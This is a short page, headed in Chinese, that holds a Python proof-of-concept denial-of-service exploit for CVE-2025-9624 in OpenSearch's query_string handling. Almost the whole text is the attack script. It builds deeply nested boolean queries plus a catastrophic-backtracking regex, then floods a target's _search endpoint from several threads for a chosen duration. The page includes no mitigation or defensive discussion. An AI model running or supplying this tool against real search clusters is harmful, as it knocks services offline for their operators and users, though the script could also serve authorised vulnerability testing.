CVE-2025-9624 OpenSearch query_string拒绝服务漏洞

# CVE-2025-9624 OpenSearch DoS PoC # Target: OpenSearch query_string endpoint # Impact: Denial of Service through complex query_string input import requests import time import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def create_dos_payload(): """ Generate complex query_string payload that causes DoS This payload exploits regex complexity and nested boolean operations """ # Complex nested boolean operations to exhaust CPU nested_query = "(" * 50 nested_query += "field1:value1" for i in range(50): nested_query += " AND (" * 10 + "field" + str(i) + ":value" + str(i) nested_query += ")" * 10 nested_query += ")" * 50 # Add complex regex pattern regex_payload = "a" * 30 + "(" + "a?" * 20 + ")+" * 10 return { "query": { "query_string": { "query": nested_query + " " + regex_payload, "default_field": "*" } } } def send_exploit(target_url, index="_all"): """ Send DoS exploit to OpenSearch search endpoint """ endpoint = f"{target_url}/{index}/_search" payload = create_dos_payload() try: response = requests.post( endpoint, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) return response.status_code, response.elapsed.total_seconds() except requests.exceptions.Timeout: return "TIMEOUT", 10 except Exception as e: return "ERROR", 0 def main(): parser = argparse.ArgumentParser(description="CVE-2025-9624 OpenSearch DoS Exploit") parser.add_argument("--target", required=True, help="OpenSearch URL (e.g., http://target:9200)") parser.add_argument("--threads", type=int, default=5, help="Number of concurrent requests") parser.add_argument("--duration", type=int, default=60, help="Attack duration in seconds") args = parser.parse_args() print(f"[*] Starting CVE-2025-9624 DoS attack against {args.target}") print(f"[*] Duration: {args.duration}s, Threads: {args.threads}") start_time = time.time() success_count = 0 while time.time() - start_time < args.duration: with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(send_exploit, args.target) for _ in range(args.threads)] for future in as_completed(futures): status_code, elapsed = future.result() if status_code != "ERROR": success_count += 1 print(f"[+] Request sent, Status: {status_code}, Time: {elapsed:.2f}s") time.sleep(0.5) print(f"[*] Attack completed. Total requests: {success_count}") if __name__ == "__main__": main()